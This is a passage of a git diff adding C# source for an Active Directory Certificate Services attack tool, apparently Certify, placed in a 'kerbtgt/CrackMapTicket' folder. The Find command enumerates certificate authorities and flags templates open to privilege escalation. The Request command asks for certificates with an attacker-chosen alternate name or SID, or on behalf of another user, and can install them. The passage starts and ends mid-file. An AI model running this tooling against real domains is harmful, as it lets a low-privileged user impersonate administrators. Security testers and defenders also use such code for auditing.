+ } + + Console.WriteLine($"[*] Certificates Authority : {CA}"); + Console.WriteLine($"[*] Request ID : {requestId}"); + + // download the certificate from the CA + string certPemString; + if (install) + { + var context = arguments.ContainsKey("/computer") || arguments.ContainsKey("/machine") + ? X509CertificateEnrollmentContext.ContextMachine + : X509CertificateEnrollmentContext.ContextUser; + + certPemString = Cert.DownloadAndInstallCert(CA, requestId, context); + } + else + { + certPemString = Cert.DownloadCert(CA, requestId); + } + + // display everything + Console.WriteLine($"\r\n[*] cert.pem :\r\n"); + Console.WriteLine(certPemString); + } + } +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/Commands/Find.cs b/inc/kerbtgt/CrackMapTicket/Commands/Find.cs new file mode 100644 index 0000000..ccd74a0 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Commands/Find.cs @@ -0,0 +1,758 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Linq; +using System.Security.Cryptography; +using System.Security.Principal; +using System.Text; +using System.Web.Script.Serialization; +using Certify.Domain; +using Certify.Lib; +using static Certify.Lib.DisplayUtil; + +namespace Certify.Commands +{ + class ResultDTO + { + // used for JSON serialization + public Dictionary Meta { get; } + public ResultDTO(string type, int count) + { + Meta = new Dictionary() + { + { "type", type }, + { "count", count }, + { "version", 3 } + }; + } + } + + class CAResultDTO : ResultDTO + { + // used for JSON serialization + public List CertificateAuthorities { get; } + public CAResultDTO(List certificateAuthorities) + : base("certificateauthorities", certificateAuthorities.Count) + { + CertificateAuthorities = certificateAuthorities; + } + } + + class TemplateResultDTO : ResultDTO + { + // used for JSON serialization + public List CertificateTemplates { get; } + public TemplateResultDTO(List certificateTemplates) + : base("certificatetemplates", certificateTemplates.Count) + { + CertificateTemplates = certificateTemplates; + } + } + + public enum FindFilter + { + None, + Vulnerable, + VulnerableCurrentUser, + EnrolleeSuppliesSubject, + ClientAuth + } + + public class Find : ICommand + { + public static string CommandName => "find"; + private bool _hideAdmins; + private bool _showAllPermissions; + private bool _outputJSON; + private string? _certificateAuthority = null; + private string? _domain = null; + private string? _ldapServer = null; + private FindFilter _findFilter = FindFilter.None; + + public void Execute(Dictionary arguments) + { + if (!arguments.ContainsKey("/json")) + Console.WriteLine("[*] Action: Find certificate templates"); + + if (arguments.ContainsKey("/domain")) + { + _domain = arguments["/domain"]; + if (!_domain.Contains(".")) + { + Console.WriteLine("[!] /domain:X must be a FQDN"); + return; + } + } + + if (arguments.ContainsKey("/ldapserver")) + { + _ldapServer = arguments["/ldapserver"]; + } + + if (arguments.ContainsKey("/ca")) + { + _certificateAuthority = arguments["/ca"]; + } + + if (arguments.ContainsKey("/vulnerable")) + { + if (arguments.ContainsKey("/currentuser")) + { + _findFilter = FindFilter.VulnerableCurrentUser; + Console.WriteLine("[*] Using current user's unrolled group SIDs for vulnerability checks."); + } + else + { + _findFilter = FindFilter.Vulnerable; + } + } + + if (arguments.ContainsKey("/enrolleeSuppliesSubject")) + { + _findFilter = FindFilter.EnrolleeSuppliesSubject; + } + + if (arguments.ContainsKey("/clientauth")) + { + _findFilter = FindFilter.ClientAuth; + } + + if (arguments.ContainsKey("/json")) + { + _outputJSON = true; + } + + _hideAdmins = arguments.ContainsKey("/hideAdmins"); + _showAllPermissions = arguments.ContainsKey("/showAllPermissions"); + + + FindTemplates(_outputJSON); + } + + + public void FindTemplates(bool outputJSON = false) + { + var ldap = new LdapOperations(new LdapSearchOptions() + { + Domain = _domain, LdapServer = _ldapServer + }); + + if (!outputJSON) + Console.WriteLine($"[*] Using the search base '{ldap.ConfigurationPath}'"); + + if (!string.IsNullOrEmpty(_certificateAuthority)) + { + if (!outputJSON) + Console.WriteLine($"[*] Restricting to CA name : {_certificateAuthority}"); + } + + // get all of our current SIDs + var ident = WindowsIdentity.GetCurrent(); + var currentUserSids = ident.Groups.Select(o => o.ToString()).ToList(); + currentUserSids.Add($"{ident.User}"); // make sure we get our current SID + + // enumerate information about every CA object + var cas = ldap.GetEnterpriseCAs(_certificateAuthority); + + // used for JSON serialization + var caDTOs = new List(); + + if (!cas.Any()) + { + Console.WriteLine(!outputJSON + ? "[!] There are no enterprise CAs and therefore no one can request certificates. Stopping..." + : "{\"Error\": \"There are no enterprise CAs and therefore no one can request certificates.\"}"); + + return; + } + + foreach (var ca in cas) + { + if (!outputJSON) + { + Console.WriteLine($"\n[*] Listing info about the Enterprise CA '{ca.Name}'\n"); + if (_findFilter == FindFilter.VulnerableCurrentUser) + { + PrintEnterpriseCaInfo(ca, _hideAdmins, _showAllPermissions, currentUserSids); + } + else + { + PrintEnterpriseCaInfo(ca, _hideAdmins, _showAllPermissions); + } + } + else + { + // transform the CA object into a DTO + caDTOs.Add(new EnterpriseCertificateAuthorityDTO(ca)); + } + } + + // enumerate information about all available templates + var templates = ldap.GetCertificateTemplates(); + + if (!outputJSON) + { + if (!templates.Any()) + { + Console.WriteLine("\n[!] No available templates found!\n"); + return; + } + + // display templates based on our search filter + switch (_findFilter) + { + case FindFilter.None: + ShowAllTemplates(templates, cas); + break; + case FindFilter.Vulnerable: + ShowVulnerableTemplates(templates, cas); + break; + case FindFilter.VulnerableCurrentUser: + ShowVulnerableTemplates(templates, cas, currentUserSids); + break; + case FindFilter.EnrolleeSuppliesSubject: + ShowTemplatesWithEnrolleeSuppliesSubject(templates, cas); + break; + case FindFilter.ClientAuth: + ShowTemplatesAllowingClientAuth(templates, cas); + break; + default: + throw new ArgumentOutOfRangeException("_findFilter"); + } + } + else + { + var publishedTemplateNames = ( + from t in templates + where t.Name != null && cas.Any(ca => ca.Templates != null && ca.Templates.Contains(t.Name)) + select $"{t.Name}").Distinct().ToArray(); + + var templateDTOs = + (from template in templates + where template.Name != null && publishedTemplateNames.Contains(template.Name) + select new CertificateTemplateDTO(template)) + .ToList(); + + // TODO: how to implement this in LINQ? + + var result = new List() + { + new CAResultDTO(caDTOs), + new TemplateResultDTO(templateDTOs) + }; + + var json = new JavaScriptSerializer(); + var jsonStr = json.Serialize(result); + Console.WriteLine(jsonStr); + } + } + + + private void PrintCertTemplate(EnterpriseCertificateAuthority ca, CertificateTemplate template) + { + Console.WriteLine($" CA Name : {ca.FullName}"); + Console.WriteLine($" Template Name : {template.Name}"); + Console.WriteLine($" Schema Version : {template.SchemaVersion}"); + Console.WriteLine($" Validity Period : {template.ValidityPeriod}"); + Console.WriteLine($" Renewal Period : {template.RenewalPeriod}"); + Console.WriteLine($" msPKI-Certificate-Name-Flag : {template.CertificateNameFlag}"); + Console.WriteLine($" mspki-enrollment-flag : {template.EnrollmentFlag}"); + Console.WriteLine($" Authorized Signatures Required : {template.AuthorizedSignatures}"); + if (template.RaApplicationPolicies != null && template.RaApplicationPolicies.Any()) + { + var applicationPolicyFriendNames = template.RaApplicationPolicies + .Select(o => ((new Oid(o)).FriendlyName)) + .OrderBy(s => s) + .ToArray(); + Console.WriteLine($" Application Policies : {string.Join(", ", applicationPolicyFriendNames)}"); + } + if (template.IssuancePolicies != null && template.IssuancePolicies.Any()) + { + var issuancePolicyFriendNames = template.IssuancePolicies + .Select(o => ((new Oid(o)).FriendlyName)) + .OrderBy(s => s) + .ToArray(); + Console.WriteLine($" Issuance Policies : {string.Join(", ", issuancePolicyFriendNames)}"); + } + + var oidFriendlyNames = template.ExtendedKeyUsage == null + ? new[] { "" } + : template.ExtendedKeyUsage.Select(o => ((new Oid(o)).FriendlyName)) + .OrderBy(s => s) + .ToArray(); + Console.WriteLine($" pkiextendedkeyusage : {string.Join(", ", oidFriendlyNames)}"); + + var certificateApplicationPolicyFriendlyNames = template.ApplicationPolicies == null + ? new[] { "" } + : template.ApplicationPolicies.Select(o => ((new Oid(o)).FriendlyName)) + .OrderBy(s => s) + .ToArray(); + Console.WriteLine($" mspki-certificate-application-policy : {string.Join(", ", certificateApplicationPolicyFriendlyNames)}"); + + Console.WriteLine(" Permissions"); + if (template.SecurityDescriptor == null) + { + Console.WriteLine(" Security descriptor is null"); + } + else + { + if (_showAllPermissions) + PrintAllPermissions(template.SecurityDescriptor); + else + PrintAllowPermissions(template.SecurityDescriptor); + } + + Console.WriteLine(); + } + + private void PrintAllowPermissions(ActiveDirectorySecurity sd) + { + var ownerSid = sd.GetOwner(typeof(SecurityIdentifier)); + var ownerName = $"{GetUserSidString(ownerSid.ToString())}"; + + var enrollmentPrincipals = new List(); + var allExtendedRightsPrincipals = new List(); + var fullControlPrincipals = new List(); + var writeOwnerPrincipals = new List(); + var writeDaclPrincipals = new List(); + var writePropertyPrincipals = new List(); + + var rules = sd.GetAccessRules(true, true, typeof(SecurityIdentifier)); + foreach (ActiveDirectoryAccessRule rule in rules) + { + if ($"{rule.AccessControlType}" != "Allow") + continue; + + var sid = rule.IdentityReference.ToString(); + if (_hideAdmins && IsAdminSid(sid)) + continue; + + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.ExtendedRight) == ActiveDirectoryRights.ExtendedRight) + { + // 0e10c968-78fb-11d2-90d4-00c04f79dc55 -> Certificates-Enrollment right + // a05b8cc2-17bc-4802-a710-e7c15ab866a2 -> Certificates-AutoEnrollment right (not acutally used during enrollment) + // 00000000-0000-0000-0000-000000000000 -> all extended rights + switch ($"{rule.ObjectType}") + { + case "0e10c968-78fb-11d2-90d4-00c04f79dc55": + enrollmentPrincipals.Add(GetUserSidString(sid)); + break; + case "00000000-0000-0000-0000-000000000000": + allExtendedRightsPrincipals.Add(GetUserSidString(sid)); + break; + } + } + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.GenericAll) == ActiveDirectoryRights.GenericAll) + { + fullControlPrincipals.Add(GetUserSidString(sid)); + } + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteOwner) == ActiveDirectoryRights.WriteOwner) + { + writeOwnerPrincipals.Add(GetUserSidString(sid)); + } + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteDacl) == ActiveDirectoryRights.WriteDacl) + { + writeDaclPrincipals.Add(GetUserSidString(sid)); + } + if ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteProperty) == ActiveDirectoryRights.WriteProperty && $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000") + { + writePropertyPrincipals.Add(GetUserSidString(sid)); + } + } + + Console.WriteLine($" Enrollment Permissions"); + + + if (enrollmentPrincipals.Count > 0) + { + var sbEP = new StringBuilder(); + enrollmentPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbEP.Append($"{p}\n "); }); + Console.WriteLine($" Enrollment Rights : {sbEP.ToString().Trim()}"); + } + + if (allExtendedRightsPrincipals.Count > 0) + { + var sbAER = new StringBuilder(); + allExtendedRightsPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbAER.Append($"{p}\n "); }); + Console.WriteLine($" All Extended Rights : {sbAER.ToString().Trim()}"); + } + + Console.WriteLine(" Object Control Permissions"); + + if (!(_hideAdmins && IsAdminSid(ownerSid.ToString()))) + Console.WriteLine($" Owner : {ownerName}"); + + if (fullControlPrincipals.Count > 0) + { + var sbGA = new StringBuilder(); + fullControlPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbGA.Append($"{p}\n "); }); + Console.WriteLine($" Full Control Principals : {sbGA.ToString().Trim()}"); + } + + if (writeOwnerPrincipals.Count > 0) + { + var sbWO = new StringBuilder(); + writeOwnerPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbWO.Append($"{p}\n "); }); + Console.WriteLine($" WriteOwner Principals : {sbWO.ToString().Trim()}"); + } + + if (writeDaclPrincipals.Count > 0) + { + var sbWD = new StringBuilder(); + writeDaclPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbWD.Append($"{p}\n "); }); + Console.WriteLine($" WriteDacl Principals : {sbWD.ToString().Trim()}"); + } + + if (writePropertyPrincipals.Count > 0) + { + var sbWP = new StringBuilder(); + writePropertyPrincipals + .OrderBy(p => p) + .ToList() + .ForEach(p => { sbWP.Append($"{p}\n "); }); + Console.WriteLine($" WriteProperty Principals : {sbWP.ToString().Trim()}"); + } + } + + private void PrintAllPermissions(ActiveDirectorySecurity sd) + { + var ownerSid = sd.GetOwner(typeof(SecurityIdentifier)); + var ownerStr = GetUserSidString(ownerSid.ToString()); + var aces = sd.GetAccessRules(true, true, typeof(SecurityIdentifier)); + + + Console.WriteLine($"\n Owner: {ownerStr}\n"); + Console.WriteLine( + " AccessControlType|PrincipalSid|PrincipalName|ActiveDirectoryRights|ObjectType|ObjectFlags|InheritanceType|InheritedObjectType|InheritanceFlags|IsInherited|PropagationFlags"); + + foreach (ActiveDirectoryAccessRule ace in aces) + { + var objectTypeString = ConvertGuidToName(ace.ObjectType.ToString()) ?? ace.ObjectType.ToString(); + var inheritedObjectTypeString = ConvertGuidToName(ace.InheritedObjectType.ToString()) ?? ace.InheritedObjectType.ToString(); + var principalName = ConvertSidToName(ace.IdentityReference.Value); + + Console.WriteLine( + $" {ace.AccessControlType}|{ace.IdentityReference}|{principalName}|{ace.ActiveDirectoryRights}|{objectTypeString}|{ace.ObjectFlags}|{ace.InheritanceType}|{inheritedObjectTypeString}|{ace.InheritanceFlags}|{ace.IsInherited}|{ace.PropagationFlags}"); + } + } + + private string? ConvertGuidToName(string guid) + { + return guid switch + { + "0e10c968-78fb-11d2-90d4-00c04f79dc55" => "Enrollment", + "a05b8cc2-17bc-4802-a710-e7c15ab866a2" => "AutoEnrollment", + "00000000-0000-0000-0000-000000000000" => "All", + _ => null + }; + } + + private string? ConvertSidToName(string sid) + { + try + { + var sidObj = new SecurityIdentifier(sid); + return sidObj.Translate(typeof(NTAccount)).ToString(); + } + catch + { + } + + return null; + } + + + private void ShowTemplatesWithEnrolleeSuppliesSubject(IEnumerable templates, IEnumerable cas) + { + Console.WriteLine("Enabled certificate templates where users can supply a SAN:"); + + foreach (var template in templates) + { + if (template.Name == null) + { + Console.WriteLine(" Warning: Found a template, but could not get its name. Ignoring it."); + continue; + } + + foreach (var ca in cas) + { + if (ca.Templates != null && !ca.Templates.Contains(template.Name)) // check if this CA has this template enabled + continue; + + if (template.CertificateNameFlag != null && !((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT)) + continue; + + PrintCertTemplate(ca, template); + } + } + } + + private void ShowTemplatesAllowingClientAuth(IEnumerable templates, IEnumerable cas) + { + Console.WriteLine("Enabled certificate templates capable of client authentication:"); + + foreach (var template in templates) + { + if (template.Name == null) + { + Console.WriteLine($" Warning: Unable to get the name of the template '{template.DistinguishedName}'. Ignoring it."); + continue; + } + + foreach (var ca in cas) + { + if (ca.Templates != null && !ca.Templates.Contains(template.Name)) // check if this CA has this template enabled + continue; + + var hasAuthenticationEku = + template.ExtendedKeyUsage != null && + (template.ExtendedKeyUsage.Contains(CommonOids.SmartcardLogon) || + template.ExtendedKeyUsage.Contains(CommonOids.ClientAuthentication) || + template.ExtendedKeyUsage.Contains(CommonOids.PKINITClientAuthentication)); + + if (hasAuthenticationEku) + PrintCertTemplate(ca, template); + } + } + } + + private void ShowAllTemplates(IEnumerable templates, IEnumerable cas) + { + Console.WriteLine("\n[*] Available Certificates Templates :\n"); + + foreach (var template in templates) + { + if (template.Name == null) + { + Console.WriteLine($" Warning: Unable to get the name of the template '{template.DistinguishedName}'. Ignoring it."); + continue; + } + + foreach (var ca in cas) + { + if (ca.Templates != null && !ca.Templates.Contains(template.Name)) // check if this CA has this template enabled + continue; + + PrintCertTemplate(ca, template); + } + } + } + + private void ShowVulnerableTemplates(IEnumerable templates, IEnumerable cas, List? currentUserSids = null) + { + foreach (var t in templates.Where(t => t.Name == null)) + { + Console.WriteLine($"[!] Warning: Could not get the name of the template {t.DistinguishedName}. Analysis will be incomplete as a result."); + } + + var unusedTemplates = ( + from t in templates + where t.Name != null && !cas.Any(ca => ca.Templates != null && ca.Templates.Contains(t.Name)) && IsCertificateTemplateVulnerable(t) + select $"{t.Name}").ToArray(); + + var vulnerableTemplates = ( + from t in templates + where t.Name != null && cas.Any(ca => ca.Templates != null && ca.Templates.Contains(t.Name)) && IsCertificateTemplateVulnerable(t) + select $"{t.Name}").ToArray(); + + if (unusedTemplates.Any()) + { + Console.WriteLine("\n[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish:\n"); + Console.WriteLine($" {string.Join("\n ", unusedTemplates)}\n"); + } + + Console.WriteLine(!vulnerableTemplates.Any() + ? "\n[+] No Vulnerable Certificates Templates found!\n" + : "\n[!] Vulnerable Certificates Templates :\n"); + + foreach (var template in templates) + { + if (!IsCertificateTemplateVulnerable(template, currentUserSids)) + continue; + + foreach (var ca in cas) + { + if (ca.Templates == null) + { + Console.WriteLine($" Warning: Unable to get the published templates on the CA {ca.DistinguishedName}. Ignoring it..."); + continue; + } + if (template.Name == null) + { + Console.WriteLine($" Warning: Unable to get the name of the template {template.DistinguishedName}. Ignoring it..."); + continue; + } + + if (!ca.Templates.Contains(template.Name)) // check if this CA has this template enabled + continue; + + PrintCertTemplate(ca, template); + } + } + } + + private bool IsCertificateTemplateVulnerable(CertificateTemplate template, List? currentUserSids = null) + { + if (template.SecurityDescriptor == null) + throw new NullReferenceException($"Could not get the security descriptor for the template '{template.DistinguishedName}'"); + + var ownerSID = $"{template.SecurityDescriptor.GetOwner(typeof(SecurityIdentifier)).Value}"; + + if (currentUserSids == null) + { + // Check 1) is the owner a low-privileged user? + if (IsLowPrivSid(ownerSID)) + { + return true; + } + } + else + { + // Check 1) is the owner is a principal we're nested into + if (currentUserSids.Contains(ownerSID)) + { + return true; + } + } + + // Check misc) Can low privileged users/the current user enroll? + var lowPrivilegedUsersCanEnroll = false; + + // Check 2) do low-privileged users/the current user have edit rights over the template? + var vulnerableACL = false; + foreach (ActiveDirectoryAccessRule rule in template.SecurityDescriptor.GetAccessRules(true, true, typeof(SecurityIdentifier))) + { + if (currentUserSids == null) + { + // check for low-privileged control relationships + if ( + ($"{rule.AccessControlType}" == "Allow") + && (IsLowPrivSid(rule.IdentityReference.Value.ToString())) + && ( + ((rule.ActiveDirectoryRights & ActiveDirectoryRights.GenericAll) == ActiveDirectoryRights.GenericAll) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteOwner) == ActiveDirectoryRights.WriteOwner) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteDacl) == ActiveDirectoryRights.WriteDacl) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteProperty) == ActiveDirectoryRights.WriteProperty && $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000") + ) + ) + { + vulnerableACL = true; + } + // check for low-privileged enrollment + else if ( + ($"{rule.AccessControlType}" == "Allow") + && (IsLowPrivSid(rule.IdentityReference.Value.ToString())) + && ( + ((rule.ActiveDirectoryRights & ActiveDirectoryRights.ExtendedRight) == ActiveDirectoryRights.ExtendedRight) + && ( + $"{rule.ObjectType}" == "0e10c968-78fb-11d2-90d4-00c04f79dc55" + || $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000" + ) + ) + ) + { + lowPrivilegedUsersCanEnroll = true; + } + } + else + { + // check for current-user control relationships + if ( + ($"{rule.AccessControlType}" == "Allow") + && (currentUserSids.Contains(rule.IdentityReference.Value.ToString())) + && ( + ((rule.ActiveDirectoryRights & ActiveDirectoryRights.GenericAll) == ActiveDirectoryRights.GenericAll) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteOwner) == ActiveDirectoryRights.WriteOwner) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteDacl) == ActiveDirectoryRights.WriteDacl) + || ((rule.ActiveDirectoryRights & ActiveDirectoryRights.WriteProperty) == ActiveDirectoryRights.WriteProperty && $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000") + ) + ) + { + vulnerableACL = true; + } + + // check for current-user enrollment + if ( + ($"{rule.AccessControlType}" == "Allow") + && (currentUserSids.Contains(rule.IdentityReference.Value.ToString())) + && ( + ((rule.ActiveDirectoryRights & ActiveDirectoryRights.ExtendedRight) == ActiveDirectoryRights.ExtendedRight) + && ( + $"{rule.ObjectType}" == "0e10c968-78fb-11d2-90d4-00c04f79dc55" + || $"{rule.ObjectType}" == "00000000-0000-0000-0000-000000000000" + ) + ) + ) + { + lowPrivilegedUsersCanEnroll = true; + } + } + + } + + if (vulnerableACL) + { + return true; + } + + + // Check 3) Is manager approval enabled? + var requiresManagerApproval = template.EnrollmentFlag != null && ((msPKIEnrollmentFlag)template.EnrollmentFlag).HasFlag(msPKIEnrollmentFlag.PEND_ALL_REQUESTS); + if (requiresManagerApproval) return false; + + // Check 4) Are there now authorized signatures required? + if (template.AuthorizedSignatures > 0) return false; + + + // Check 5) If a low priv'ed user can request a cert with EKUs used for authentication and ENROLLEE_SUPPLIES_SUBJECT is enabled, then privilege escalation is possible + var enrolleeSuppliesSubject = template.CertificateNameFlag != null && ((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT); + var hasAuthenticationEku = + template.ExtendedKeyUsage != null && + (template.ExtendedKeyUsage.Contains(CommonOids.SmartcardLogon) || + template.ExtendedKeyUsage.Contains(CommonOids.ClientAuthentication) || + template.ExtendedKeyUsage.Contains(CommonOids.PKINITClientAuthentication)); + + if (lowPrivilegedUsersCanEnroll && enrolleeSuppliesSubject && hasAuthenticationEku) return true; + + + // Check 6) If a low priv'ed user can request a cert with any of these EKUs (or no EKU), then privilege escalation is possible + var hasDangerousEku = + template.ExtendedKeyUsage == null + || !template.ExtendedKeyUsage.Any() // No EKUs == Any Purpose + || template.ExtendedKeyUsage.Contains(CommonOids.AnyPurpose) + || template.ExtendedKeyUsage.Contains(CommonOids.CertificateRequestAgent) + || (template.ApplicationPolicies != null && template.ApplicationPolicies.Contains(CommonOids.CertificateRequestAgentPolicy)); + + if (lowPrivilegedUsersCanEnroll && hasDangerousEku) return true; + + + // Check 7) Does a certificate contain the DISABLE_EMBED_SID_OID flag + DNS and DNS SAN flags + if ( template.CertificateNameFlag==null || template.EnrollmentFlag == null) { + return false; + } + + if((((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.SUBJECT_ALT_REQUIRE_DNS) + || ((msPKICertificateNameFlag)template.CertificateNameFlag).HasFlag(msPKICertificateNameFlag.SUBJECT_REQUIRE_DNS_AS_CN)) + && ((msPKIEnrollmentFlag)template.EnrollmentFlag).HasFlag(msPKIEnrollmentFlag.NO_SECURITY_EXTENSION)) { + return true; + } + + return false; + } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Commands/ICommand.cs b/inc/kerbtgt/CrackMapTicket/Commands/ICommand.cs new file mode 100644 index 0000000..ede1312 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace Certify.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/Commands/PKIObjects.cs b/inc/kerbtgt/CrackMapTicket/Commands/PKIObjects.cs new file mode 100644 index 0000000..5bfd335 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Commands/PKIObjects.cs @@ -0,0 +1,58 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Linq; +using System.Security.Principal; +using Certify.Domain; +using Certify.Lib; + +namespace Certify.Commands +{ + public class PKIObjects : ICommand + { + public static string CommandName => "pkiobjects"; + private LdapOperations _ldap = new LdapOperations(); + private bool hideAdmins; + private string? domain; + private string? ldapServer; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Find PKI object controllers"); + + hideAdmins = !arguments.ContainsKey("/showAdmins"); + + if (arguments.ContainsKey("/domain")) + { + domain = arguments["/domain"]; + if (!domain.Contains(".")) + { + Console.WriteLine("[!] /domain:X must be a FQDN"); + return; + } + } + + if (arguments.ContainsKey("/ldapserver")) + { + ldapServer = arguments["/ldapserver"]; + } + + _ldap = new LdapOperations(new LdapSearchOptions() + { + Domain = domain, LdapServer = ldapServer + }); + + Console.WriteLine($"[*] Using the search base '{_ldap.ConfigurationPath}'"); + + DisplayPKIObjectControllers(); + } + + private void DisplayPKIObjectControllers() + { + Console.WriteLine("\n[*] PKI Object Controllers:"); + var pkiObjects = _ldap.GetPKIObjects(); + + DisplayUtil.PrintPKIObjectControllers(pkiObjects, hideAdmins); + } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Commands/Request.cs b/inc/kerbtgt/CrackMapTicket/Commands/Request.cs new file mode 100644 index 0000000..9cdc6b3 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Commands/Request.cs @@ -0,0 +1,107 @@ +using System; +using System.Collections.Generic; + +namespace Certify.Commands +{ + public class Request : ICommand + { + public static string CommandName => "request"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("[*] Action: Request a Certificates"); + + var CA = ""; + var subject = ""; + var altName = ""; + var url = ""; + var sidExtension = ""; + var template = "User"; + var machineContext = false; + var install = false; + + if (arguments.ContainsKey("/ca")) + { + CA = arguments["/ca"]; + if (!CA.Contains("\\")) + { + Console.WriteLine("[X] /ca format of SERVER\\CA-NAME required, you may need to specify \\\\ for escaping purposes"); + return; + } + } + else + { + Console.WriteLine("[X] A /ca:CA is required! (format SERVER\\CA-NAME)"); + return; + } + + if (arguments.ContainsKey("/template")) + { + template = arguments["/template"]; + } + + if (arguments.ContainsKey("/subject")) + { + subject = arguments["/subject"]; + } + + if (arguments.ContainsKey("/altname")) + { + altName = arguments["/altname"]; + } + + if (arguments.ContainsKey("/url")) + { + url = arguments["/url"]; + } + + if(arguments.ContainsKey("/sidextension")) + { + sidExtension = arguments["/sidextension"]; + } + if (arguments.ContainsKey("/sid")) + { + sidExtension = arguments["/sid"]; + } + + if (arguments.ContainsKey("/install")) + { + install = true; + } + + if (arguments.ContainsKey("/computer") || arguments.ContainsKey("/machine")) + { + if (template == "User") + { + template = "Machine"; + } + machineContext = true; + } + + if (arguments.ContainsKey("/onbehalfof")) + { + if (!arguments.ContainsKey("/enrollcert") || String.IsNullOrEmpty(arguments["/enrollcert"])) + { + Console.WriteLine("[X] /enrollcert parameter missing. Issued Enrollment/Certificates Request Agent certificate required!"); + return; + } + + var enrollCertPassword = arguments.ContainsKey("/enrollcertpw") + ? arguments["/enrollcertpw"] + : ""; + + if (!arguments["/onbehalfof"].Contains("\\")) + { + Console.WriteLine("[X] /onbehalfof format of DOMAIN\\USER required, you may need to specify \\\\ for escaping purposes"); + return; + } + + Cert.RequestCertOnBehalf(CA, template, arguments["/onbehalfof"], arguments["/enrollcert"], enrollCertPassword, machineContext); + } + else + { + Cert.RequestCert(CA, machineContext, template, subject, altName, url, sidExtension, install); + } + } + } +} \ No newline at end of file diff --git a/inc/kerbtgt/CrackMapTicket/Domain/ADObject.cs b/inc/kerbtgt/CrackMapTicket/Domain/ADObject.cs new file mode 100644 index 0000000..aeaf518 --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Domain/ADObject.cs @@ -0,0 +1,15 @@ +using System.DirectoryServices; + +namespace Certify.Domain +{ + public class ADObject + { + public string DistinguishedName { get; set; } + public ActiveDirectorySecurity? SecurityDescriptor { get; set; } + public ADObject(string distinguishedName, ActiveDirectorySecurity? securityDescriptor) + { + DistinguishedName = distinguishedName; + SecurityDescriptor = securityDescriptor; + } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Domain/CertificateAuthority.cs b/inc/kerbtgt/CrackMapTicket/Domain/CertificateAuthority.cs new file mode 100644 index 0000000..7e068af --- /dev/null +++ b/inc/kerbtgt/CrackMapTicket/Domain/CertificateAuthority.cs @@ -0,0 +1,88 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices; +using System.Linq; +using System.Security.Cryptography.X509Certificates; + +namespace Certify.Domain +{ + // From https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-csra/509360cf-9797-491e-9dd1-795f63cb1538 + [Flags] + public enum CertificationAuthorityRights : uint + { + ManageCA = 1, // Administrator + ManageCertificates = 2, // Officer + Auditor = 4, + Operator = 8, + Read = 256, + Enroll = 512, + } + + // From certca.h in the Windows SDK + [Flags] + public enum PkiCertificateAuthorityFlags : uint + { + NO_TEMPLATE_SUPPORT = 0x00000001, + SUPPORTS_NT_AUTHENTICATION = 0x00000002, + CA_SUPPORTS_MANUAL_AUTHENTICATION = 0x00000004, + CA_SERVERTYPE_ADVANCED = 0x00000008, + } + + public class CertificateAuthority : ADObject, IDisposable + { + public string? Name { get; } + public string? DomainName { get; } + + public Guid? Guid { get; } + public PkiCertificateAuthorityFlags? Flags { get; } + public List? Certificates { get; private set; } + + + private bool _disposed; + public CertificateAuthority(string distinguishedName, string? name, string? domainName, Guid? guid, PkiCertificateAuthorityFlags? flags, List? certificates, ActiveDirectorySecurity? securityDescriptor) + : base(distinguishedName, securityDescriptor) + { + Name = name; + DomainName = domainName; + Guid = guid; + Flags = flags; + Certificates = certificates; + } + + ~CertificateAuthority() + { + Dispose(false); + } + + public void Dispose() + { + Dispose(true); + // This object will be cleaned up by the Dispose method. + // Therefore, you should call GC.SupressFinalize to + // take this object off the finalization queue + // and prevent finalization code for this object + // from executing a second time. + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + // Check to see if Dispose has already been called. + if (_disposed) return; + + if (disposing) + { + // Dispose managed resources. + + // https://snede.net/the-most-dangerous-constructor-in-net/ + if (Certificates != null && Certificates.Any()) + { + Certificates.ForEach(c => c.Reset()); + Certificates = new List(); + } + } + + _disposed = true; + } + } +} diff --git a/inc/kerbtgt/CrackMapTicket/Domain/CertificateAuthorityWebServices.cs 